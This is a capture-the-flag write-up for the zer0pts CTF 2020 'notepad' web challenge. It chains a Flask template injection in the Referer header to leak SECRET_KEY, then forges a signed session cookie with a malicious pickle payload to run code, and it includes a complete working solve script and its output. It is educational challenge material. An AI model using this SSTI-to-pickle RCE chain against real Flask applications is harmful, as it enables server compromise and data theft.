# [zer0pts CTF 2020] notepad
###### tags: `zer0pts CTF`, `zer0pts CTF 2020`, `web`
## Solution
As you can see from `app.py`, there is a Server-Side Template Injection (SSTI) vulnerability via `Referer` header in 404 page.
```python=78
@app.errorhandler(404)
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")
if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'
html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
return flask.render_template_string(html), 404
```
In Flask, SSTI can easily be led to arbitrary code execution like [this article](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti). However, `Referer` header is checked with `valid_url` function that checks if the URL starts with its host and the length of the path is shorter than 16 chars.
```python=90
def valid_url(url):
""" Check if given url is valid """
host = flask.request.host_url
if not url.startswith(host): return False # Not from my server
if len(url) - len(host) > 16: return False # Referer may be also 404
return True
```
So, with this SSTI vulnerability, you can do limited things like exfiltrating `SECRET_KEY`, which is used to sign and verify client session data, with `{{config}}`.
```
$ curl http://3.112.201.75:8001/404 -H "Referer: http://3.112.201.75:8001/{{config}}"
<html><head><meta http-equiv="Refresh" content="3;URL=http://3.112.201.75:8001/<Config {… 'SECRET_KEY': b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I', …
```
Anyway, it's useful to tamper sessions. In this app, session is used for storing notes, which is serialized with [`pickle`](https://docs.python.org/3/library/pickle.html).
```python=26
@app.route('/new', methods=['GET'])
def new():
""" Create a new note """
data = load()
data.append({"date": now(), "text": "", "title": "*New Note*"})
flask.session['savedata'] = base64.b64encode(pickle.dumps(data))
return flask.redirect('/note/' + str(len(data) - 1))
```
```python=99
def load():
""" Load saved notes """
try:
savedata = flask.session.get('savedata', None)
data = pickle.loads(base64.b64decode(savedata))
except:
data = [{"date": now(), "text": "", "title": "*New Note*"}]
return data
```
As noted in [the official document](https://docs.python.org/3/library/pickle.html), `pickle` module is not secure to load untrusted data and can be led to arbitrary code execution.
While referring to [past challenge](https://ctftime.org/task/1952), let's write an exploit that retrieves `SECRET_KEY`, sign payload with obtained `SECRET_KEY`, and send request with tampered session.
```python
import base64
import html
import re
import requests
import flask.sessions
HOST = 'http://3.112.201.75:8001/'
class App(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def sign(secret_key, data):
app = App(secret_key)
si = flask.sessions.SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(data)
r = requests.get(HOST + '404', headers={
'Referer': HOST + '{{config}}'
})
r = html.unescape(r.content.decode())
secret_key = eval(re.findall(r"'SECRET_KEY': (b'.+?')", r)[0])
print('secret_key:', secret_key)
code = b"c__builtin__\neval\n(S'open(\\'/home/web/flag\\').read()'\ntR"
sig = sign(secret_key, {'savedata': base64.b64encode(b"(lp0\n(dp1\nS'date'\np2\nI0\nsS'text'\np3\nS''\np4\nsS'title'\np5\n" + code + b"p6\nsa.")})
r = requests.get(HOST, cookies={
'session': sig
})
print(re.findall(rb'(zer0pts\{.+\})', r.content)[0])
```
```
$ python solve.py
secret_key: b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
b'zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}'
```